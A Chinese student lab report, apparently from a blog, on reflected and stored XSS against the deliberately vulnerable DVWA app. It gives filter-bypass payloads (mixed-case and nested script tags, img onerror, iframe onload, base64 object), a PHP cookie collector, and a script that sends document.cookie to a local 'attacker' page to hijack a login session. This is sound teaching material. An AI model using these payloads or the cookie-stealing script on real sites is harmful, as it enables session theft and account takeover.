实验2:跨站脚本攻击XSS

1 篇文章 0 订阅


一、实验目的与要求

  1. 能理解XSS注入原理;
  2. 能应用Low等级、Medium等级、High级别的XSS;
  3. 能理解XSS的修复。
  4. 能利用XSS盗取cookie
  5. 利用盗取的cookie绕过登陆步骤直接进入网站首页

二、实验原理与内容

1.XSS原理

     是利用网页应用程序对用户的输入没有进行足够的过滤与处理,导致恶意脚本被插入到网页中,并被浏览器解释执行。攻击者通过构造恶意的输入数据,将脚本代码注入目标网页中,并在用户浏览该页面时执行。这些脚本能够执行恶意的操作,比如窃取用户的敏感信息、伪造用户界面或篡改网页内容等。

2.实验内容

利用Kali Linux对DVWA的Reflected Cross Site Scripting (XSS)/Stored Cross Site Scripting (XSS)模块,实现利用XSS盗取cookie,并用盗取的cookie绕过登陆步骤直接进入网站首页:

  1. Low等级;
  2. Medium等级;
  3. High级别;
  4. Impossible等级的机制以及修复、防御方法。
  5. 利用XSS成功盗取DVWA网站的cookie,用盗取的cookie绕过登陆步骤直接进入DVWA网站首页。

三、实验设备与软件环境

  1. 学生笔记本;
  2. VMware WorkStation Pro;
  3. Windows7或其他Windows系统;
  4. Kali Linux 2021版本或其他Kali Linux版本;
  5. DVWA-1.9;
  6. FireFox浏览器;
  7. BurpSuit或其他抓包工具

四、实验过程与结果

一、准备工作

先启动phpstudy,把Apache和mysql启动

因为我本机自身就有安装mysql,所以我确认好开启到本机的mysql就好了,软件中的无需开启。

登录DVWA

二、实验内容

1、Low等级

将安全级别设置为low

然后我们通过(D:\Teachings\phpstudy_pro\WWW\DVWA\vulnerabilities\xss_r\source)(这是我的地址)找到low.php

来查看sourse源码:

array_key_exists()函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。
!=为不等于运算符 , &&为与都为真是为真
这段源码:输入一个内容,点击提交,当输入不为空之后输出:Hello 加输入的内容。

GET到参数之后没有对参数进行任何处理,直接传递,以html形式呈现出来,所以直接执行JavaScript代码,从而显示出xss弹出框。

直接输入 <script>alert('xss')</script>,然后点击提交:

弹出弹框

2、Medium等级

将等级修改为中级:

查看源码:

相比于low等级,多了一个语句,可以看到,这里对输入进行了过滤,使用str_replace函数将输入中的<script>替换

为空。当GET到参数后,$name被做了更改然后重新传给了name变量。

我们可通过

1、不区分大小写这个放方法来传入参数,达到绕过的目的提交参数:
输入<ScripT>alert('xss')</script>
2、也可以通过多重嵌套:
输入<scr<script>ipt>alert(/xss/)</script>

3、High级别

将等级修改为high级别

我们查看源码:

可以看到preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。

虽然无法使用<script>标签注入 XSS 代码,但是可以通过img、body等标签的事件或者iframe、src等标签的构造可利用的js代码。

1、<img src=1 onerror=alert(/xss/)>
2、<iframe onload=alert(/xss/)>

3、<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

4、Impossible等级的机制以及修复、防御方法

修改Impossible等级:

使用htmlspecialchars() 函数把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体,防止浏览器将其作为HTML元素(特殊意义);从而防治了反射型XSS利用和危害,不能实现反射型XSS攻击。

5、利用XSS成功盗取DVWA网站的cookie

  1. 在搭建的服务器目录下创建一个cookie.php,(我的目录是:D:\Teachings\phpstudy_pro\WWW),目的是为了将获取到的cookie

输入:

<?php
  $cookie = $_GET['cookie'];
  file_put_contents('cookie.txt',$cookie);
?>

接着我们构建一个js代码:

<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>

通过document.cookie可以读取当前页面的cookie值,然后通过GET方法发送至攻击者服务器。

先将等级修改为low等级

然后在进入到XSS(Stored)

当在输入Message中输入恶意代码js时我们会发现有文本长度限制。

修改完成后,我们可以看到已经完整的输入了。

然后我们就可以看到会跳转到

我们可以打开cookie.txt查看我们获取的cookie值

我们用另外一个浏览器重新进入到DVWA(如果用本机测试的,先把防火墙关闭)

进入到登录界面,我们就把开发者工具打开

找到cookie然后修改里面的值

即可进入到我们的首页

至此实验就完成了。

  • 29
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
xss跨站脚本攻击实验实验结果与分析如下: 在进行xss跨站脚本攻击实验时,我们首先构造了一个含有恶意脚本的注入网页,然后将该网页作为输入传递给目标网站。实验结果显示,攻击者成功将恶意脚本注入到目标网站中,当其他用户访问该目标网站时,恶意脚本会被执行,从而使得攻击者可以获取用户的敏感信息或进行其他不良行为。 对于实验结果的分析,可以得出以下几个结论: 1. 实验结果表明目标网站存在xss漏洞。这种漏洞的产生一般是因为目标网站未对用户输入进行充分的过滤和验证。攻击者通过在注入网页中插入恶意脚本,利用目标网站对用户输入的不当处理来实现攻击。因此,目标网站需要加强用户输入的过滤和验证,以避免类似的攻击。 2. 实验结果暴露了用户的敏感信息泄漏风险。通过成功注入恶意脚本,攻击者可以获取用户在目标网站的敏感信息,如用户名、密码等。这对用户的隐私安全构成了潜在威胁。 3. 实验结果提醒我们加强xss防护措施。为了避免类似的攻击,目标网站应当采取一系列的安全措施,包括对用户输入进行过滤和验证、设置合适的CSP(内容安全策略)等。此外,用户也应当保持警惕,避免点击可疑的链接,提高自身的网络安全意识。 在实施xss跨站脚本攻击实验中,我们能够深入了解这种攻击的原理和危害,同时也提醒我们加强安全意识和措施,以保护自身和网站的安全

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值